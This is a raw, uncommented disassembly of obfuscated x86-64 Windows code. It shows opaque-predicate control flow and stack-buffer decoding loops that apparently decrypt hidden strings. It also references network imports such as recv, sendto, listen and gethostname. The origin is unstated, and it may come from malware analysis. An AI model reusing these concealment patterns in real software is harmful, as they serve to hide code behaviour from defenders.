movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
movabs rdx, 0xbefdd314526a9460
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2055
movabs rcx, 0x4cf4019aa0210210
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a2085
movabs rcx, 0xdaea3020edd76fc0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
movabs rdx, 0x3dd1a470b01f81f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x9f8], r11b
inc rbx
jmp 0x1400a1362
movabs rdx, 0xcbc7d2f6fdd5efa8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 2
jb 0x1400a183c
movabs rcx, 0xb7f4bb3e84a825f0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x20]
jmp 0x1400a1f8f
movabs rdx, 0x59be017d4b8c5d58
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x68
add r11b, dl
cmp r8, 4
jae 0x1400a1e2a
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400a1d17
movabs rdx, 0x43928c7d8dc86ed0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1870
movabs rcx, 0xe7b430039942cb08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
lea rax, [r8 + r9]
cmp rax, 6
je 0x1400a1e86
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400a1bf1
movabs rdx, 0x162b74ffbdc3ee88
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a18bd
movabs rdx, 0x106a8cf2e01b01b0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
movabs rdx, 0x9e60bb792dd16f60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a2085
movabs rcx, 0x2c56e9ff7b87dd10
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x1400a2055
movabs rcx, 0xba4d1885c93e4ac0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x4843470c16f4b870
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x10
jmp 0x1400a2016
movabs rdx, 0xd639759264ab2620
jmp 0x1400a1bd2
movabs rdx, 0x642fa418b26193d0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0xf225d29f00180180
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x801c01254dce6f30
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a1f8f
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400a1afc
lea rcx, [rbx + r13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x1400a1922
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a1b43
movabs rdx, 0x5ace2efba0090090
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a1b85
movabs rcx, 0xb0eba368b6e5b780
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a1bbb
movabs rdx, 0x22f574e2692f49d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2016
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1922
movabs rdx, 0x94ff465c1b78dc20
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a1e56
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a1c27
movabs rdx, 0x88354679700d80d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1f8f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a1c5e
movabs rcx, 0x6c48e96cd4a0a578
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
dec rbx
inc rbx
jmp 0x1400a1362
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a1c8f
movabs rcx, 0xde52bae686ea37c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400a1e56
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a1cd5
movabs rdx, 0xc2665dd9eb7d5c68
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a18c0
movabs rcx, 0x1883d247025a1358
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a1d5e
movabs rdx, 0xb59c5df740120120
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
inc rax
cmp r8, rax
jne 0x1400a1d92
movabs rdx, 0x27a62f70f25b9370
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1400a2085
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1dc2
movabs rdx, 0xefcd7557bb81dcb0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400a1e50
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a1df5
movabs rcx, 0x61d746d16dcb6f00
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
dec rbx
inc rbx
jmp 0x1400a1362
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a1870
movabs rdx, 0x45eae9c4d25e93a0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x1400a1f8f
movabs rdx, 0x29fe8cb836f1b840
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0x9f8]
add r11b, r10b
add r11b, dl
movabs rcx, 0xe303757510168168
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x9f8], dl
jmp 0x1400a2016
movabs rdx, 0x9c085e31e93b4a90
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x9f8]
add r11b, dl
add r11b, r10b
jmp 0x1400a2055
movabs rcx, 0xd9a20057fdbdee28
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
movabs rdx, 0x83848beae6e13738
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x117aba713497a4e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
inc r9
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0x9f70e8f7824e1298
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400a1f8f
movabs rdx, 0xbb5d46041dbaedf8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movabs rdx, 0x70f9a3fb5dccef18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x9f8], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a1362
movabs rdx, 0x4953748a6b715ba8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400a1362
movabs rcx, 0xf336001d5494a4b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 8
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1362
mov r10, rdi
movabs rdx, 0xf225d29f0018018
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rcx, 0x550d46eec26013b8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 8
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x9f8], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xe122fab9b84dce0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x20
add cl, r10b
mov byte [rbp + rbx + 0x9f8], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
movabs rcx, 0x2b0eba368b6e5b78
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x48
movzx eax, byte [rbp + rbx + 0x9f8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1362
movabs rcx, 0x1f8cea1cd01c81c8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x78
jmp 0x1400a1360
movabs rcx, 0xad8318a31dd2ef78
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x48
jmp 0x1400a1350
lea rcx, [rbp + 0x17730d8]
jmp 0x1400a2169
lea rcx, [rbp + 0x9bfa00]
jmp 0x1400a2169
lea rcx, [rbp + 0x9f8]
xor r8d, r8d
lea rdx, [rsp + 0x68]
call fcn.140034710
test al, al
je 0x1400a2189
mov rax, qword [0x14023cad8]
mov byte [rax + 0xa], 0
call fcn.140040750
mov byte [rbp + 0xa20], 0xab
mov byte [rbp + 0xa21], 0xf4
mov byte [rbp + 0xa22], 0xf6
mov byte [rbp + 0xa23], 0xc9
mov byte [rbp + 0xa24], 0xf5
mov byte [rbp + 0xa25], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xa26], 0xfd
mov byte [rbp + 0xa27], reloc.WS2_32.dll_WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa28], xmm0
mov qword [rbp + 0xa38], rax
mov word [rbp + 0xa40], ax
mov byte [rbp + 0xa42], al
movabs rdi, 0xcad3b65496859e11
movabs rsi, 0xa35df4f058f5f765
movabs r14, 0xf5a5269b60765af7
movabs r12, 0xefa0ce306d9942e4
movabs r13, 0x6db442395f55da18
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a2c6b
movzx r10d, byte [rbp + rbx + 0xa20]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a2c5f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a2283
lea rcx, [rbx + rdi]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x77
jmp 0x1400a22af
je 0x1400a2bd5
inc rax
cmp r8, rax
je 0x1400a2b6e
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a2b44
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a2aec
nop
cmp r9, rbx
ja 0x1400a2c53
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a22e5
lea rcx, [rbx + rsi]
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3d
add r11b, cl
jmp 0x1400a231e
je 0x1400a2ac8
inc rax
cmp r8, rax
je 0x1400a2a9d
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a2a68
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a2a11
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a29db
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a2592
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400a256d
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a253f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400a2516
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400a24dc
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x200]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400a2c2e
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400a2c09
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400a23eb
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400a2485
lea r8, [r9 + 1]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400a2454
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a242b
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400a2409
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
jmp 0x1400a2330
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x3f
add r11b, dl
jmp 0x1400a2245
lea rcx, [rbx + r12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3c
dec rbx
inc rbx
jmp 0x1400a2232
movabs rdx, 0x35baee28c61163a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2b8f
lea rdx, [rbx + r13]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
movabs rcx, 0xe1ea45e941ae87a1
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x67
add r11b, cl
cmp r9, 9
jb 0x1400a2936
movabs rdx, 0xd05aa5b3f93cfac6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400a2b0f
movabs rdx, 0xd433bda215c3cc5e
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
movabs rdx, 0xe7ee9e54348b9fb4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2971
movabs rcx, 0xbc9fc501da752770
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
inc r9
dec rbx
inc rbx
jmp 0x1400a2232
movabs rdx, 0x26f85858ad69eb4e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
jmp 0x1400a2b0c
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400a2636
lea r11, [rbx + rdi]
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x77
add r11b, r10b
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400a29b0
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400a2751
movabs rdx, 0x54727227ddd6aa0d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5b
add r11b, dl
cmp r8, 3
jae 0x1400a2946
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400a2874
movabs rdx, 0xf7d0671836cca172
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1e
add r11b, dl
jmp 0x1400a24a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a267d
movabs rdx, 0x46bbe9e0b1ebeeca
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
inc rax
cmp r8, rax
jne 0x1400a26b1
movabs rdx, 0xdc635689def72aec
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x74
add r11b, dl
jmp 0x1400a2b8f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a26e6
movabs rdx, 0x3301092e93241b74
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1400a2971
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400a271e
movabs rcx, 0xc8a875d7c02f5796
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1a
dec rbx
inc rbx
jmp 0x1400a2232
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a25b6
movabs rdx, 0xf3f74f2a1a45cfda
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a2b0c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2782
movabs rcx, 0xea19ded10ae1e62f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x49
jmp 0x1400a2b0f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a27ba
movabs rcx, 0x1568b82364f85e73
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x25
dec rbx
inc rbx
jmp 0x1400a2232
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a27fc
movabs rcx, 0xd65efe1eec1a12d9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x11
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2232
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a2831
movabs rdx, 0x6c066ac819254efb
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x23
add r11b, dl
jmp 0x1400a2a30
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a25f7
movabs rcx, 0x9755441a733bc73f
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x47
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a28b7
movabs rcx, 0x8d77d3c163d7dd94
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xc
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a28ed
movabs rdx, 0xb8c6ad13bdee55d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2a30
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a24a8
movabs rdx, 0xe41586661804ce1c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2232
mov byte [rbp + rbx + 0xa20], r11b
inc rbx
jmp 0x1400a2232
movabs rdx, 0x6602125d264836e8
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0xa20]
sub r11b, al
sub r11b, 0x58
add r11b, dl
add r11b, r10b
movabs rcx, 0x30d5c8b1bccdd4f9
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x31
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xa20], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2232
movabs rcx, 0xfba97f065353730a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xa20]
lea r11d, [r10 + rcx]
sub r11b, 0x46
jmp 0x1400a2a30
movabs rcx, 0xe640c6e2ee5b1497
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x21
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
movabs rcx, 0xbaf1ed9094449c53
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x45
movabs rdx, 0xc67d355ae9d9111b
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x43
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa20], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400a2b8f
movabs rcx, 0x254a80e767396031
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x57
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2232
movabs rcx, 0x64543aebe017abcb
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x73
dec rbx
inc rbx
jmp 0x1400a2232
movabs rcx, 0x3905619986013387
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4f
jmp 0x1400a2b0f
movabs rdx, 0xdb688472beabb43
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
movabs rcx, 0x9b2e5c088fc298d7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x1f
add r10b, cl
mov byte [rbp + rbx + 0xa20], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a2232
movabs rcx, 0xe267aef4d1d442ff
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 7
dec rbx
inc rbx
jmp 0x1400a2232
mov r10, rdx
movabs rcx, 0xf6228fa6f09c1655
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x53
movabs rcx, 0x9150ebaf805eaf2c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x34
add cl, r10b
mov byte [rbp + rbx + 0xa20], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
movabs rcx, 0x607b22fdc390da33
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x65
movzx eax, byte [rbp + rbx + 0xa20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2232
movabs rcx, 0x5ffdb9f2336b1ed5
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x2d
jmp 0x1400a2230
movabs rcx, 0xca564d49065fe2b3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x1b
jmp 0x1400a2220
lea rcx, [rbp + 0x1463d8c]
jmp 0x1400a2c72
lea rcx, [rbp + 0x8bdb9d]
jmp 0x1400a2c72
lea rcx, [rbp + 0xa20]
xor r8d, r8d
xor edx, edx
call fcn.1400406d0
test al, al
je 0x1400a3049
lea rcx, str.General
call fcn.140036660
xorps xmm0, xmm0
movups xmmword [rbp + 0xff0], xmm0
movups xmmword [rbp + 0x1000], xmm0
movups xmmword [rbp + 0x1010], xmm0
movups xmmword [rbp + 0x1020], xmm0
mov rdx, qword [0x14023cd78]
add rdx, 0x60
lea rcx, [rbp + 0xff0]
call fcn.1400e42a0
nop
lea rcx, [0x1402368c0]
call fcn.140001ba0
xor r8d, r8d
mov rdx, rax
lea rcx, str.
call fcn.140036ab0
test al, al
je 0x1400a2e32
mov rdx, qword [0x14023cd78]
add rdx, 0x60
lea rcx, [rbp + 0x1030]
call fcn.1400e42a0
nop
xor eax, eax
mov qword [rbp + 0xf90], rax
mov rax, qword [rbp + 0x1038]
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rbp + 0xf90]
call fcn.14006bff0
xor eax, eax
mov qword [rbp + 0xf98], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x1038]
lea rcx, [rbp + 0xf98]
call fcn.14006bff0
